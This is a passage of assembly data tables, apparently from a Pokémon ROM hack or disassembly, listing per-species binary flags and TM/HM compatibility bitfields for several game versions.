10001101b,11111111b,11110101b,11101011b,11110101b,00010101b,01001100b,no_changes ;Snorlax db 01010100b,11111110b,00010000b,00000011b,11000010b,00110000b,01010000b,no_changes ;Articuno db 01010100b,11000010b,00010001b,10000011b,11000010b,00111000b,01010010b,no_changes ;Zapdos db 01010100b,11000010b,00010000b,00000011b,11000110b,00110000b,00010000b,no_changes ;Moltres db 00000101b,11111100b,00010011b,10000011b,11000111b,00011000b,01001000b,no_changes ;Dratini db 00000111b,11111100b,00010011b,10000011b,11000111b,00011000b,01001000b,no_changes ;Dragonair db 01000111b,11111110b,00010011b,10000011b,11000111b,00011000b,01001100b,no_changes ;Dragonite db 10001101b,11111111b,11110101b,10001111b,11110101b,00011100b,11000110b, minus_payday;Mewtwo db 11111111b,11111111b,11111111b,11111111b,11111111b,11111111b,11111110b,no_changes ;Mew tmhm_gs: db 01100100b,01111000b,10111100b,00100011b,01100001b,00011000b,10100010b,00000000b db 01100100b,01111000b,10111100b,00100011b,01100001b,00011000b,10100010b,00000000b db 01101100b,01111010b,10111100b,00100011b,01100001b,00011000b,10100010b,00000000b db 11100101b,01101000b,10011011b,00110011b,01100111b,00011001b,10100100b,00000000b db 11100101b,01101000b,10011011b,00110011b,01100111b,00011001b,10100100b,00000000b db 11101101b,01101010b,10011011b,01110011b,01101111b,00011011b,10110100b,00000000b db 11110101b,01001101b,11011010b,00110011b,11100001b,00011000b,00001101b,10000000b db 11110101b,01001101b,11011010b,00110011b,11100001b,00011000b,00001101b,10000000b db 11111101b,01001111b,11011010b,01110011b,11100001b,00011000b,00001101b,10000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00100100b,01111010b,10111100b,00101001b,01100010b,00011000b,01000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00100100b,01111010b,10011000b,00100001b,01110010b,00011000b,00100000b,00000000b db 00100100b,01101000b,10011000b,00100011b,01100010b,00111110b,00010000b,00000000b db 00100100b,01101000b,10011000b,00100011b,01100010b,00111110b,00010000b,00000000b db 00100100b,01101010b,10011000b,00100011b,01100010b,00111110b,00010000b,00000000b db 01100101b,01101101b,10011010b,10110111b,01100011b,00011100b,00000000b,00000000b db 01101101b,01101111b,10011010b,10110111b,01100011b,00011100b,00100100b,00000000b db 00100100b,01101000b,10011000b,00100011b,01100010b,00111110b,00010000b,00000000b db 00100100b,01101010b,10011000b,00100011b,01100010b,00111110b,00010000b,00000000b db 01100100b,01101000b,10111000b,01110001b,01110000b,00011100b,00000100b,00000000b db 01100100b,01101010b,10111000b,01110001b,01110000b,00011100b,00000100b,00000000b db 11110110b,01001000b,11011010b,10100011b,01100011b,10111000b,00000110b,00000000b db 11110110b,01001010b,11011010b,10100011b,01100011b,10111100b,00000110b,00000000b db 11110101b,01101000b,10011010b,01110011b,01101011b,00111100b,10100100b,00000000b db 11110101b,01101010b,10011010b,01110011b,01101011b,00111100b,10100100b,00000000b db 01100100b,01101100b,11011010b,10100011b,01100001b,00111100b,00000000b,00000000b db 01100101b,01101100b,11011010b,10100011b,01100001b,00111100b,00000100b,00000000b db 11111101b,01101111b,11011010b,11100111b,11101101b,10111101b,10001100b,00000000b db 01100100b,01101100b,11011010b,10100011b,01100001b,00111100b,00000000b,00000000b db 01100101b,01101100b,11011010b,10100011b,01100001b,00111100b,00000100b,00000000b db 11101101b,01101111b,11011010b,11100111b,11101101b,10111101b,10001100b,00000000b db 11110110b,11101100b,11011110b,10101111b,11100101b,11111001b,01000110b,00000000b db 11110110b,11101110b,11011110b,10101111b,11100101b,11111001b,01000110b,00000000b db 01101100b,01101000b,10011010b,00110001b,01100110b,00011000b,00000000b,00000000b db 01101100b,01101010b,10011010b,00110001b,01100110b,00011000b,00000000b,00000000b db 11110110b,11101100b,11011100b,10101111b,11100101b,11111001b,01000110b,00000000b db 11110110b,11101110b,11011100b,10101111b,11100101b,11111001b,01000110b,00000000b db 00100100b,01101000b,10111000b,00100001b,01100010b,00111110b,00000000b,00000000b db 00100100b,01101010b,10111000b,00100001b,01100010b,00111110b,00000000b,00000000b db 00100100b,01111000b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 00100100b,01111000b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 00100100b,01111010b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 00100101b,01111000b,10111100b,00110001b,01110000b,00011100b,10100010b,00000000b db 00100101b,01111010b,10111100b,00110001b,01110000b,00011100b,10100010b,00000000b db 00100100b,01111000b,10111100b,00101001b,01110010b,00011100b,00000000b,00000000b db 00100100b,01111010b,10111100b,00101001b,01110010b,00011100b,00000010b,00000000b db 00100101b,01101000b,10011000b,01110011b,01110000b,00011100b,00100000b,00000000b db 00100101b,01101010b,10011000b,01110011b,01110000b,00011100b,00100000b,00000000b db 01100110b,11101001b,10011010b,10100111b,01100011b,01111100b,01000000b,00000000b db 01101110b,11101011b,10011010b,10100111b,01100011b,01111100b,01000000b,00000000b db 11100101b,11001101b,11011010b,00110011b,11100010b,00011000b,00001111b,10000000b db 11100101b,11001111b,11011010b,00110011b,11100010b,00011000b,10001111b,10000000b db 11100101b,11101000b,10011010b,10110011b,11100011b,10111101b,00000100b,00000000b db 11100101b,11101010b,10011010b,10110011b,11100011b,10111101b,00000100b,00000000b db 01101101b,01101000b,10011011b,00110001b,01100110b,00011000b,00000000b,00000000b db 01101101b,01101010b,10011011b,00110001b,01100110b,00011000b,00000000b,00000000b db 01100100b,01001101b,11011000b,00101001b,01100001b,00011100b,00001001b,10000000b db 01100101b,01001101b,11011000b,01101011b,11100001b,00111100b,00001101b,10000000b db 11100101b,01001111b,11011000b,01101011b,11100001b,00111100b,00001101b,10000000b db 11100110b,11101000b,11011000b,00101101b,11100000b,11011101b,01000010b,00000000b db 11100110b,11101000b,11011000b,00111101b,11100000b,11011101b,01000010b,00000000b db 11100110b,11101010b,11011000b,00111101b,11100000b,11011101b,01000010b,00000000b db 11100101b,01101000b,10011000b,01110011b,11100100b,10111101b,00000100b,00000000b db 11100101b,01101000b,10011000b,01110011b,11100100b,10111101b,00000100b,00000000b db 11100101b,01101010b,10011000b,01110011b,11100100b,10111101b,00000100b,00000000b db 00100100b,01111000b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 00100100b,01111000b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 00100100b,01111010b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 00100100b,01001101b,11111000b,00100001b,01110000b,00011000b,00101001b,00000000b db 00100100b,01001111b,11111000b,00100001b,01110000b,00011000b,00101001b,00000000b db 11111101b,01101000b,10011000b,01110011b,01101101b,00011001b,10000100b,00000000b db 11111101b,01101000b,10011000b,01110011b,01101101b,00011001b,10000100b,00000000b db 11111101b,01101010b,10011000b,01110011b,01101101b,00011001b,10000100b,00000000b db 01100100b,01101000b,10011010b,00100001b,01100110b,00011000b,00000000b,00000000b db 01100100b,01101010b,10011010b,00100001b,01100110b,00011000b,00000000b,00000000b db 11100110b,11101101b,11011010b,01111111b,11100110b,01011000b,01001110b,00000000b db 11100111b,11101111b,11011010b,01111111b,11100110b,01011000b,11001110b,00000000b db 00110110b,01001001b,11011000b,10100001b,01100010b,00010000b,00000010b,00000000b db 00110110b,01001011b,11011000b,10100001b,01100010b,00010000b,00000010b,00000000b db 01100100b,11101000b,10011010b,00100011b,01100010b,00111110b,00110000b,00000000b db 00100100b,01101000b,10011100b,00100011b,01100010b,00011110b,00010000b,00000000b db 00100100b,01101010b,10011100b,00100011b,01100010b,00011110b,00010000b,00000000b db 01100100b,01001101b,11011000b,00100001b,01100000b,00011000b,00001001b,10000000b db 01100100b,01001111b,11011000b,00100001b,01100000b,00011000b,00001001b,10000000b db 10100110b,01101000b,10111000b,10100011b,11110100b,10011101b,00000000b,00000000b db 10100110b,01101010b,10111000b,10100011b,11110100b,10011101b,00000000b,00000000b db 00100100b,01001101b,11011000b,00100001b,01100010b,00011000b,00001001b,00000000b db 00100100b,01001111b,11011000b,00100001b,01100010b,00011000b,00001001b,00000000b db 00100110b,11101000b,11111000b,10101101b,01100000b,01011100b,01000000b,00000000b db 00100110b,11101000b,11111000b,10101101b,01100000b,01011100b,01000000b,00000000b db 11100111b,11101010b,11111000b,10101101b,11100000b,11011101b,01000100b,00000000b db 01101101b,01101000b,10011010b,01110011b,01101000b,00011000b,00000100b,00000000b db 11100110b,11101000b,11011000b,00101101b,11100000b,11011001b,01000010b,00000000b db 11100110b,11101010b,11011000b,00101101b,11100000b,11011001b,01000010b,00000000b db 00100101b,01001111b,11011000b,00100011b,01100000b,00011100b,10101101b,00000000b db 00100101b,01001111b,11011000b,00100011b,01100000b,00011100b,10101101b,00000000b db 01110110b,01001000b,11011000b,10100001b,01100010b,00010000b,00000010b,00000000b db 01110110b,01001010b,11011000b,10100001b,01100010b,00010000b,00000010b,00000000b db 01110100b,11101000b,10111100b,00101001b,01110000b,01011100b,01000110b,00000000b db 01110100b,11101010b,10111100b,00101001b,01110000b,01011100b,01000110b,00000000b db 11100101b,01101101b,10011010b,01110011b,01101100b,10111101b,00000100b,00000000b db 11100101b,01101111b,10011010b,01110011b,01101100b,10111101b,00000100b,00000000b db 11100101b,01101000b,10010000b,00000011b,01101010b,00111100b,00000100b,00000000b db 11100101b,01101000b,10011000b,00100011b,11100010b,10111101b,00000100b,00000000b db 11110101b,11101111b,11011010b,11100111b,11101101b,11011101b,01101100b,00000000b db 00110110b,01101000b,10011000b,10100001b,01110100b,00011100b,00000000b,00000000b db 00110110b,01101010b,10011000b,10100001b,01110100b,00011100b,00000000b,00000000b db 01111111b,01101101b,10011010b,11110011b,01101100b,00011000b,00000100b,00000000b db 11111111b,01101111b,10011010b,11110011b,01101100b,10011001b,10001100b,00000000b db 11110111b,11101111b,11011110b,10101111b,01101101b,01011000b,00000110b,00000000b db 01100100b,11111010b,10111100b,00100001b,01110000b,00011100b,00100010b,00000000b db 11101111b,01101111b,11011010b,11100111b,11101100b,10011001b,10001100b,00000000b db 01100100b,01001101b,11011001b,00100001b,01100010b,00011000b,00001001b,10000000b db 01100100b,01001111b,11011001b,00100001b,01100010b,00011000b,00001001b,10000000b db 00100100b,01001101b,11011000b,00100001b,01100010b,00011000b,00001000b,10000000b db 00100100b,01001111b,11011000b,00100001b,01100010b,00011000b,00001000b,10000000b db 00100110b,11001101b,11011000b,10101001b,01100010b,00011000b,00001011b,10000000b db 00100110b,11001111b,11011000b,10101001b,01100010b,01011000b,01001011b,10000000b db 11100110b,11101010b,10011100b,10101111b,11100000b,11011101b,01000010b,00000000b db 01100101b,01101010b,10011000b,00100001b,01100010b,00111110b,10100000b,00000000b db 11100100b,11011111b,11011000b,00101111b,11100000b,01011100b,01000000b,00000000b db 11100111b,01001010b,11011010b,10101011b,11100010b,10111101b,00000110b,00000000b db 11100101b,01101010b,10011010b,00101011b,01100100b,10111101b,00000100b,00000000b db 01100101b,01101010b,10011000b,00100001b,01100000b,00011100b,10100100b,00000000b db 01100111b,01101111b,10011010b,11100001b,01100100b,00011000b,00001100b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 01101111b,01001111b,11011001b,10100001b,01101100b,00011000b,00001101b,10000000b db 01100111b,01001111b,11011011b,10101001b,01100000b,01011000b,01001101b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 01100100b,01101000b,11011010b,00100111b,01100010b,00111000b,00000000b,00000000b db 01101100b,01101111b,11011010b,00100111b,01100010b,00111000b,00001001b,10000000b db 01101110b,01101010b,11011010b,10100111b,01100010b,00111000b,00000010b,00000000b db 01101110b,01101010b,11011010b,00100111b,01100110b,00111000b,00000000b,00000000b db 00100110b,11101111b,11011010b,10101001b,01100010b,01010100b,01000010b,00000000b db 01110101b,01001111b,11011000b,00100001b,01101000b,00011100b,00001001b,00000000b db 01110101b,01001111b,11011000b,00100001b,01101000b,00011100b,00001001b,00000000b db 00110101b,01001101b,11111000b,00100001b,01101000b,00011100b,00000000b,00000000b db 01110101b,01001111b,11111000b,00100001b,01101000b,00011100b,10101001b,00000000b db 01101101b,01001010b,11011011b,01100001b,01101110b,00111010b,00010000b,00000000b db 11110111b,11101111b,11011100b,11101111b,11101101b,10011001b,00001100b,00000000b db 00101101b,01101111b,11011000b,00100011b,01101010b,00110010b,00010000b,00000000b db 00101111b,01101010b,11011000b,10100011b,01101010b,00110010b,00010010b,00000000b db 00101101b,01101010b,11011000b,00100011b,01101110b,00110010b,00010000b,00000000b db 01100110b,01001101b,11011011b,10100001b,01100110b,00111000b,00001000b,10000000b db 01100110b,01001101b,11011011b,10100001b,01100110b,00111000b,00001000b,10000000b db 11100111b,01001111b,11011011b,10100011b,11101110b,10111011b,10011101b,10000000b db 11100111b,11101111b,11011110b,10101111b,11100110b,11110001b,01000110b,00000000b db 11111111b,11111111b,11111111b,11111111b,11111111b,11111111b,11111111b,10000000b db 01100100b,01111000b,10111110b,01100011b,01100000b,00111000b,00100010b,00000000b db 01100101b,01111000b,10111110b,01100011b,01100000b,00111000b,10100010b,00000000b db 01100101b,01111010b,10111110b,01100011b,01100000b,00111000b,10100110b,00000000b db 01110100b,01101000b,10011010b,00110011b,01100111b,00111000b,00100000b,00000000b db 01111101b,01101000b,10011010b,00110011b,01100111b,00111000b,10100100b,00000000b db 11111101b,01101010b,10011010b,01110011b,01100111b,10111001b,10100100b,00000000b db 11101101b,01001101b,11011010b,01110011b,11100000b,00111000b,10101001b,00000000b db 11101101b,01001101b,11011010b,01110011b,11100000b,00111000b,10101101b,00000000b db 11101101b,01001111b,11011010b,01110011b,11100000b,00111000b,10101101b,00000000b db 11110100b,01101000b,10011010b,00110111b,11100011b,10111101b,10101000b,00000000b db 11110100b,01101010b,10011010b,00110111b,11100011b,10111101b,10101100b,00000000b db 00100100b,01101000b,10011000b,00100011b,01100010b,01111110b,01010010b,00000000b db 00100100b,01101010b,10011000b,00100011b,01100010b,01111110b,01010010b,00000000b db 11110100b,01111000b,10111100b,00110001b,11100010b,10011100b,00000010b,00000000b db 11110111b,11111010b,10111100b,00110001b,11100010b,10011100b,00000010b,00000000b db 00100100b,01101000b,10111100b,00111001b,01110000b,00011100b,00000010b,00000000b db 00100100b,01101010b,10111100b,00111001b,01110000b,00011100b,00000010b,00000000b db 00100100b,01101010b,10111000b,00100001b,01100010b,00111110b,00010000b,00000000b db 00100110b,01001000b,11011000b,10100001b,01000000b,00011000b,00001011b,10000000b db 00100110b,01001010b,11011000b,10100001b,01100000b,00011000b,00001011b,10000000b db 01110110b,01001000b,11011010b,10100011b,01100011b,00111000b,00000010b,00000000b db 01110110b,11101001b,11011110b,00101111b,01100101b,01111000b,01000010b,00000000b db 01110110b,11101001b,11011100b,00101111b,01100101b,01111000b,01000010b,00000000b db 01110111b,01101000b,11010100b,00101111b,01100111b,01111000b,00000010b,00000000b db 01110111b,11101010b,11011100b,00101111b,01100111b,01111010b,00010010b,00000000b db 00100100b,11101110b,10111100b,00101001b,01100010b,01111100b,01000010b,00000000b db 00100100b,11101110b,10111100b,00101001b,01100010b,01111100b,01010010b,00000000b db 11100111b,01001000b,11011010b,10100001b,01100011b,10011001b,00000010b,00000000b db 11100111b,01001000b,11011010b,10100001b,01100011b,10011001b,00000110b,00000000b db 11100111b,01001010b,11011010b,10100001b,01100011b,10011001b,00000110b,00000000b db 00100100b,01111010b,10111100b,00100001b,01100000b,00011000b,00100010b,00000000b db 11110101b,01001101b,11011010b,00100000b,11100011b,00011000b,00001001b,10000000b db 11110101b,01001111b,11011010b,00100000b,11100011b,00011000b,00001101b,10000000b db 11110101b,11101000b,10011000b,01110011b,11101001b,10011101b,00000100b,00000000b db 11100101b,01001111b,11011000b,01101011b,11100001b,00111100b,00001101b,10000000b db 01100100b,01111000b,10111100b,00100001b,01100001b,00011111b,11000010b,00000000b db 01100100b,01111000b,10111100b,00100001b,01100001b,00011111b,11000010b,00000000b db 01100100b,01111010b,10111100b,00100001b,01100001b,00011000b,00000010b,00000000b db 11100111b,01101000b,10011010b,10100111b,11100011b,11111101b,11100100b,00000000b db 00100100b,01111000b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 00100100b,01111010b,10111100b,00100001b,01110000b,00011000b,00100010b,00000000b db 01100100b,01101000b,10111100b,00100001b,01100010b,00111100b,00000010b,00000000b db 11110101b,01001000b,11011010b,01110011b,11111001b,00011000b,00001011b,00000000b db 11110101b,01001010b,11011010b,01110011b,11111001b,00011000b,00001111b,00000000b db 01100110b,11101010b,11011010b,00101111b,01100010b,01111000b,01100010b,00000000b db 01100110b,11111010b,11011010b,00101111b,01100010b,01111000b,01100010b,00000000b db 00100100b,11101001b,10011000b,00100111b,01100010b,01111110b,01010000b,00000000b db 11100111b,11101111b,11011010b,01111111b,11100110b,01011000b,11001111b,00000000b db 01100110b,01101000b,11010000b,10101101b,01100011b,01011100b,01000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 01100111b,11101000b,10011010b,11101111b,01110010b,01011100b,01000100b,00000000b db 01110101b,01111000b,10111100b,00100001b,01101001b,00011000b,00000100b,00000000b db 01110101b,01111010b,10111100b,00100001b,01101001b,00011000b,00000100b,00000000b db 01110111b,11101000b,11011110b,10110011b,01100001b,01011100b,01000100b,00000000b db 01100101b,01101000b,10011010b,00100001b,01111010b,00111100b,10100100b,00000000b db 01111101b,01101010b,10011011b,01110011b,01101001b,00011000b,00100100b,00000000b db 11101111b,01101000b,11011000b,10100111b,11110001b,10111101b,00000100b,00000000b db 11101111b,01101010b,11011000b,10100111b,11110001b,10111101b,00000100b,00000000b db 01110100b,01001101b,11011000b,00100001b,01110011b,00011000b,00001001b,10000000b db 01100101b,01101010b,11011000b,00100001b,01101010b,00111110b,10100100b,00000000b db 01110101b,01101000b,10011000b,01110011b,01111001b,00011000b,00000110b,00000000b db 01100101b,01101000b,10011000b,01100001b,01100000b,00111100b,10100100b,00000000b db 11100101b,11001101b,11011010b,00110111b,11100011b,01111111b,11101100b,00000000b db 11111111b,01101000b,10011000b,01110011b,11100011b,10011101b,10100100b,00000000b db 11111111b,01101010b,10011000b,01110011b,11100011b,10011101b,10100100b,00000000b db 00110101b,01101000b,10011000b,01100011b,01100101b,00011000b,00000100b,00000000b db 00110101b,01101010b,10011000b,01100011b,01100101b,00011000b,00000100b,00000000b db 01101101b,01001101b,11011000b,01100011b,01100001b,00111000b,00000100b,00000000b db 01101101b,01001111b,11011000b,01100011b,01100001b,00111000b,00000100b,00000000b db 01110101b,11101000b,11011000b,01101011b,01101001b,00011000b,00001101b,00000000b db 00100100b,01001000b,11011000b,00100011b,11100011b,00011100b,00001001b,00000000b db 00100100b,01001010b,11011000b,00100011b,11100011b,00011100b,00001001b,00000000b db 01100100b,01001101b,11011000b,00100011b,01100010b,00111100b,00010000b,00000000b db 01100100b,01001101b,11011000b,00100011b,01100010b,00011000b,00001001b,10000000b db 00100100b,01101000b,10011000b,00100011b,01101010b,00111110b,00110000b,00000000b db 01101101b,01101000b,10011110b,00100111b,01110110b,01111100b,01000100b,00000000b db 01101101b,01101010b,10011110b,00100111b,01110110b,01111100b,01000100b,00000000b db 01100100b,01001111b,11011001b,00100001b,01100010b,00011000b,00001001b,10000000b db 01111101b,01101000b,10011000b,01100011b,01101001b,00011000b,00000100b,00000000b db 01111101b,01101010b,10011000b,01100011b,01101001b,00011000b,00000100b,00000000b db 00100110b,11101111b,11011010b,10101001b,01100011b,01010100b,01000010b,00000000b db 01101100b,11101000b,11011000b,01101011b,01100010b,01111100b,01000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 01100101b,01101000b,10010000b,00100011b,01100010b,00111100b,00000100b,00000000b db 01100101b,01101000b,10010000b,00110011b,01100010b,00111100b,00000100b,00000000b db 10100100b,01011101b,11010000b,00101111b,11100000b,01011100b,01000000b,00000000b db 11100110b,01001000b,11010000b,10101011b,11100010b,10111101b,00000010b,00000000b db 11100100b,01101000b,10010010b,00101011b,01100100b,10111101b,00000000b,00000000b db 11110111b,01111111b,11010010b,11100111b,11101001b,10011001b,00001100b,00000000b db 11110111b,01101111b,11010100b,10101111b,01101101b,01011000b,00000110b,00000000b db 01101111b,11101010b,11010010b,10110011b,01101010b,00110000b,00100110b,00000000b db 01101101b,11101010b,11010110b,00110011b,01101110b,00110000b,00100110b,00000000b db 01101101b,01101111b,11010010b,00110011b,01101010b,00110000b,00101001b,10000000b db 11101101b,01101000b,11010011b,01110011b,01101100b,00111001b,11101000b,00000000b db 11101101b,01101000b,11010011b,01110011b,01101100b,00111001b,11101000b,00000000b db 11101101b,01101010b,11010011b,01110011b,01101100b,00111001b,11101100b,00000000b db 01101111b,01101111b,11110011b,11101111b,01101010b,01110010b,01011101b,10000000b db 00101111b,01101010b,11110101b,11101111b,01101110b,01110010b,01010110b,00000000b db 00100100b,11111010b,11111100b,00101111b,01101011b,01110000b,01000010b,00000000b tmhm_rs: db 00000100b,11100000b,10101100b,00100001b,00010000b,01111000b,00100111b,00000000b db 00000100b,11100000b,10101100b,00100001b,00010000b,01111000b,00100111b,00000000b db 00001100b,11100010b,10101100b,01100001b,00010000b,01111000b,00100111b,00000000b db 11000100b,01100000b,10001010b,00110011b,00100101b,01111000b,01100101b,00000000b db 11000100b,01100000b,10001010b,00110011b,00100101b,01111000b,01100101b,00000000b db 11001100b,01100010b,10001010b,01110011b,00100101b,01111010b,01110101b,00000000b db 10100110b,01001100b,11001010b,00110011b,00000000b,01111000b,00001101b,11000000b db 10100110b,01001100b,11001010b,00110011b,00000000b,01111000b,00001101b,11000000b db 10101110b,01001110b,11001010b,01110011b,00000000b,01111000b,00001101b,11000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000100b,01100010b,11111100b,00101101b,00000001b,01111101b,00000010b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000100b,01100010b,10101100b,00100011b,00010001b,01111100b,00100001b,00000000b db 00000100b,01100000b,11001000b,00100001b,00000001b,01111110b,00010000b,00000000b db 00000100b,01100000b,11001000b,00100001b,00000001b,01111110b,00010000b,00000000b db 00000100b,01100010b,11001000b,00100001b,00000001b,01111110b,00010000b,00000000b db 00000100b,01111100b,11001011b,10110101b,01000000b,01111100b,00100001b,00000000b db 00001100b,01111110b,11001011b,10110101b,01000000b,01111100b,00100101b,00000000b db 00000100b,01100000b,11001000b,00100001b,00000001b,01111110b,00010000b,00000000b db 00000100b,01100010b,11001000b,00100001b,00000001b,01111110b,00010000b,00000000b db 00000100b,01100000b,11101010b,01110001b,00010000b,11111100b,10000100b,00000000b db 00000100b,01100010b,11101010b,01110001b,00010000b,11111100b,10000100b,00000000b db 10000100b,01000001b,11001011b,10110011b,01000000b,01111000b,00000111b,00000000b db 10000100b,01000011b,11001011b,10110011b,01000000b,01111100b,00000111b,00000000b db 10000100b,01100000b,10001010b,01110011b,00001011b,01111100b,00100101b,00000000b db 10000100b,01100010b,10001010b,01110011b,00001011b,01111100b,00100101b,00000000b db 00100100b,01101100b,11001011b,10110001b,01010001b,01111100b,00100101b,00000000b db 00100100b,01101100b,11001011b,10110001b,01010001b,01111100b,00100101b,00000000b db 10101100b,01111110b,11001011b,11110111b,01111111b,11111100b,00101101b,00000000b db 00100100b,01101100b,11001011b,10110001b,01010000b,01111100b,00100101b,00000000b db 00100100b,01101100b,11001011b,10110001b,01010000b,01111100b,00100101b,00000000b db 10101100b,01111110b,11001011b,11110111b,01111110b,11111100b,00101101b,00000000b db 10110100b,01101101b,11011111b,10111111b,11000100b,01111000b,10000110b,00000000b db 10110100b,01101111b,11011111b,10111111b,11100100b,01111000b,10000110b,00000000b db 00001100b,01100000b,10011010b,00110001b,10100100b,01111000b,01000000b,00000000b db 00001100b,01100010b,10011010b,00110001b,10100100b,01111000b,01000000b,00000000b db 10100100b,01101101b,11011101b,10111111b,11100100b,01111000b,00000110b,00000000b db 10100100b,01101111b,11011101b,10111111b,11100100b,01111000b,00000110b,00000000b db 00000100b,01110000b,11101000b,00100101b,00010001b,11111110b,10000000b,00000000b db 00000100b,01110010b,11101000b,00100101b,00010001b,11111110b,10000000b,00000000b db 00000100b,11100000b,10101100b,00100001b,00010000b,01111000b,00100010b,00000000b db 00000100b,11100000b,10101100b,00100001b,00010000b,01111000b,00100010b,00000000b db 00000100b,11100010b,10101100b,00100001b,00010000b,01111000b,00100010b,00000000b db 00000100b,11100000b,10101100b,00110001b,00010001b,01111100b,00100011b,00000000b db 00000100b,11100010b,10101100b,00110001b,00010001b,01111100b,00100011b,00000000b db 00000100b,01100000b,10101100b,00101001b,00010000b,01111101b,00000010b,00000000b db 00000100b,01100010b,10101100b,00101001b,00010001b,01111101b,00000010b,00000000b db 00000100b,01100000b,10001000b,01110001b,00010011b,01111100b,00100001b,00000000b db 00000100b,01100010b,10001000b,01110001b,00010011b,01111100b,00100001b,00000000b db 00100100b,01110000b,11001011b,10110101b,01000001b,11111100b,10100010b,00000000b db 00101100b,01110010b,11001011b,10110101b,01000001b,11111100b,10100010b,00000000b db 10110110b,01001100b,11001010b,00110011b,00000001b,01111000b,00001111b,11000000b db 10110110b,01001110b,11001010b,00110011b,00000001b,01111000b,00001111b,11000000b db 10000101b,01110000b,11001011b,11110011b,00000011b,01111100b,01000101b,00000000b db 10000101b,01110010b,11001011b,11110011b,00000011b,01111100b,01000101b,00000000b db 00001100b,01100000b,10001010b,00110001b,00100101b,01111100b,01000101b,00000000b db 00001100b,01100010b,10001010b,00110001b,00100101b,01111100b,01000101b,00000000b db 00100110b,01001100b,11001000b,00111001b,00000000b,01111100b,00001001b,11000000b db 10100110b,01001100b,11001000b,01111011b,00000000b,01111100b,00001101b,11000000b db 10100111b,01001110b,11001000b,01111011b,00000010b,01111100b,00001101b,11000000b db 10010100b,01110001b,11010010b,00101101b,11000000b,11111101b,10000010b,00000000b db 10010100b,01110001b,11010010b,00101101b,11000000b,11111101b,10000010b,00000000b db 10010100b,01110011b,11010010b,00101101b,11000000b,11111101b,10000010b,00000000b db 10000101b,01100000b,11001000b,01110011b,00100110b,01111100b,00000101b,00000000b db 10000101b,01100000b,11001000b,01110011b,00100110b,01111100b,00000101b,00000000b db 10000101b,01100010b,11001000b,01110011b,00100110b,01111100b,00000101b,00000000b db 00000100b,11100000b,10101100b,00100001b,00010000b,01111100b,00100010b,00000000b db 00000100b,11100000b,10101100b,00100001b,00010000b,01111100b,00100010b,00000000b db 00000100b,11100010b,10101100b,00100001b,00010000b,01111100b,00100010b,00000000b db 00100110b,01001100b,11101000b,00100001b,00010000b,01111100b,00101000b,11000000b db 00100110b,01001110b,11101000b,00100001b,00010000b,01111100b,00101000b,11000000b db 10000100b,01100000b,10001000b,01110011b,00101110b,01111000b,00000101b,00000000b db 10000100b,01100000b,10001000b,01110011b,00101110b,01111000b,00000101b,00000000b db 10000100b,01100010b,10001000b,01110011b,00101110b,01111000b,00000101b,00000000b db 00000100b,01100000b,10001110b,00100001b,00100100b,01111000b,01000100b,00000000b db 00000100b,01100010b,10001110b,00100001b,00100100b,01111000b,01000100b,00000000b db 00110110b,01101100b,11011010b,01111101b,00100100b,01111001b,00001110b,01000000b db 10110110b,01101110b,11011010b,01111111b,00100100b,01111001b,00001111b,01000000b db 00000100b,01100000b,11001001b,10100001b,11000000b,01110000b,00000010b,00000000b db 00000100b,01100010b,11001001b,10100001b,11000000b,01110000b,00000010b,00000000b db 00000100b,01100000b,10001010b,00100001b,00000001b,01111110b,00110000b,00000000b db 00000100b,01100000b,10001000b,00100001b,00000001b,11111110b,00010000b,00000000b db 00000100b,01110010b,10001000b,00100001b,00000001b,11111110b,00010000b,00000000b db 00100110b,01001100b,11011000b,00100001b,00000000b,01111100b,00001000b,11000000b db 00100110b,01001110b,11011000b,00100001b,00000000b,01111100b,00001000b,11000000b db 00000100b,01110000b,11101001b,10110001b,01110110b,11111100b,00000000b,00000000b db 10000100b,01110010b,11101001b,10110011b,01110110b,11111100b,00000101b,00000000b db 00100110b,01001100b,11001000b,00100001b,00000000b,01111000b,00001000b,01000000b db 00100110b,01001110b,11001000b,00100001b,00000000b,11111000b,00001000b,01000000b db 00000100b,01110000b,11101001b,00101101b,00010000b,11111101b,10000000b,00000000b db 00000100b,01110000b,11101001b,00101101b,00010000b,11111101b,10000000b,00000000b db 10000100b,01110010b,11101001b,10101111b,00010000b,11111101b,10000101b,00000000b db 00001100b,01110000b,10001010b,01110001b,00001010b,11111000b,00000101b,00000000b db 10010100b,01110001b,11011000b,00101111b,10000000b,11111101b,10000010b,00000000b db 10010100b,01110011b,11011000b,00101111b,10000000b,11111101b,10000010b,00000000b db 00100110b,01001100b,11001000b,00110001b,00000010b,01111100b,00101101b,01000000b db 00100110b,01001110b,11001000b,00110001b,00000010b,01111100b,00101101b,01000000b db 00000100b,01010001b,11001001b,10100001b,01000000b,11110100b,00000010b,00000000b db 00000100b,01010011b,11001001b,10100001b,01000000b,11110100b,00000010b,00000000b db 00110100b,11101000b,10111100b,00101001b,01110000b,01011100b,01000110b,00000000b db 00000100b,11100011b,10101100b,00101001b,10010000b,01111101b,00000110b,00000000b db 10000100b,01101100b,10001010b,01110011b,00101111b,01111100b,00000101b,00000000b db 